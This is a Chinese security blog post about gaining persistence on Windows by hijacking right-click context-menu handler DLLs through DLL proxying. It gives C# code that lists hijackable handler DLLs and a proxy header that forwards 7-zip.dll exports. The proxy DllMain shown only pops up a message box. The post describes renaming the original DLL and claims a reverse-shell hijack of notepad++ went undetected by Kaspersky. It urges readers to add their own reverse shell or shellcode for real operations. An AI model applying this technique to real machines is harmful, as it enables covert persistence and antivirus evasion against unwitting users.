DLL劫持右键菜单实现持久化

admin 2023年7月31日09:37:53评论23 views字数 2840阅读9分28秒阅读模式

DLL代理

如下图,DLL代理是通过创建一个恶意的DLL来替换原有程序的DLL,同时不删除原有程序的DLL,将其重命名。恶意的DLL在被调用的时候会运行恶意的代码功能,并把原有的DLL功能部分转发给原始DLL,这样更好的确保原有程序的功能正常运行且不被破坏。

DLL劫持右键菜单实现持久化

右键菜单注册表

注册表路径:HKLMSoftwareClasses*ShellExContextMenuHandlers

利用 autoruns可以查看此注册表路径中加载的DLL文件。

DLL劫持右键菜单实现持久化

同样也可以对其他自启动注册表里的dll文件进行劫持。

我们可以用 C#实现一个小程序来读取可劫持的DLL。代码如下:

  1. using Microsoft.Win32;

  2. using System;

  3. using System.Collections.Generic;

  4. using System.Linq;

  5. using System.Text;


  6. namespace dll

  7. {

  8. class Program

  9. {

  10. static void Main(string[] args)

  11. {

  12. GetKey(@"SoftwareClasses*ShellExContextMenuHandlers");

  13. }


  14. private static void GetKey(string path)

  15. {


  16. using (RegistryKey key = Registry.LocalMachine.OpenSubKey(path))

  17. {

  18. if (key != null)

  19. {


  20. string[] rk = key.GetSubKeyNames();

  21. foreach (var item in rk)

  22. {


  23. string value = GetRegistryValue(path + item);

  24. string imgpath = GetrootValue(@"CLSID" + value + @"InprocServer32");

  25. if (imgpath != null && imgpath != "")

  26. {

  27. Console.WriteLine(imgpath);

  28. }

  29. }


  30. }


  31. }

  32. }

  33. protected static string GetRegistryValue(string path)

  34. {

  35. string value = string.Empty;

  36. RegistryKey root = Registry.LocalMachine;

  37. RegistryKey rk = root.OpenSubKey(path);

  38. if (rk != null)

  39. {

  40. value = (string)rk.GetValue("", null);

  41. }

  42. return value;

  43. }

  44. protected static string GetrootValue(string path)

  45. {

  46. string value = string.Empty;

  47. RegistryKey root = Registry.ClassesRoot;

  48. RegistryKey rk = root.OpenSubKey(path);

  49. if (rk != null)

  50. {

  51. value = (string)rk.GetValue("", null);

  52. }

  53. return value;

  54. }

  55. }

  56. }


DLL劫持右键菜单实现持久化

创建一个代理的DLL

这里用到一个开源的项目。

https://github.com/rek7/dll-hijacking

DLL劫持右键菜单实现持久化


生成的 definitions.h

  1. #pragma once


  2. /*

  3. 7-zip.dll - 8664 machine (x64)

  4. */


  5. #pragma comment(linker,"/export:DllCanUnloadNow=7-zip_.DllCanUnloadNow,@1")

  6. #pragma comment(linker,"/export:DllGetClassObject=7-zip_.DllGetClassObject,@2")

  7. #pragma comment(linker,"/export:DllRegisterServer=7-zip_.DllRegisterServer,@3")

  8. #pragma comment(linker,"/export:DllUnregisterServer=7-zip_.DllUnregisterServer,@4")

替换 definitions.h头文件,作者项目的代码里是用的 powershell来反弹shell。代码好像有点问题,我这里修改代码进行简单的弹框测试。

  1. /*


  2. https://itm4n.github.io/dll-proxying/

  3. https://www.codeproject.com/Articles/17863/Using-Pragmas-to-Create-a-Proxy-DLL


  4. to implement: hooking specific functions


  5. */


  6. #include "definitions.h"

  7. #include <thread>

  8. #include <chrono>

  9. #include <random>

  10. extern "C" {

  11. #include <stdlib.h>

  12. #include <winsock2.h>

  13. #include <stdio.h>

  14. #include <windows.h>

  15. #include <ws2tcpip.h>

  16. }

  17. using namespace std;

  18. #pragma comment(lib,"Ws2_32.lib")


  19. BOOL WINAPI DllMain(

  20. HINSTANCE hinstDLL, // handle to DLL module

  21. DWORD fdwReason, // reason for calling function

  22. LPVOID lpReserved) // reserved

  23. {

  24. srand(time(NULL));

  25. switch (fdwReason)

  26. {

  27. case DLL_PROCESS_ATTACH:

  28. {

  29. MessageBox(NULL, "Zero Team", "Zero team", MB_OK);

  30. break;

  31. }

  32. case DLL_THREAD_ATTACH:

  33. break;

  34. case DLL_THREAD_DETACH:

  35. break;

  36. case DLL_PROCESS_DETACH:

  37. break;

  38. default:

  39. break;

  40. }

  41. return true; // Successful DLL_PROCESS_ATTACH.

  42. }

劫持程序右键菜单

编译生成恶意的DLL命名为 7-zip.dll,并将原有DLL改名为 7-zip_.dll。当我们右键单击程序时,即可运行恶意的DLL。

DLL劫持右键菜单实现持久化


拓展

作者项目里的反弹shell,测试不能成功。我们可以自己用C语言写一个反弹shell的功能,或者加载shellcode。

如下为在装有卡巴斯基的机器上测试劫持 notepad++。成功劫持,并反弹shell,且卡巴斯基未告警。

DLL劫持右键菜单实现持久化


DLL劫持右键菜单实现持久化

反弹shell demo流量未加密,最好不要在实战中使用,dll内容可以自己发挥。

关注微信公众号回复“ DLL劫持”获取本文章源码和工具。

Reference

https://b.ou.is/articles/2020-03/context-menu-persistance

原文始发于微信公众号(零队):DLL劫持右键菜单实现持久化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月31日09:37:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DLL劫持右键菜单实现持久化http://cn-sec.com/archives/922349.html

发表评论

匿名网友 填写信息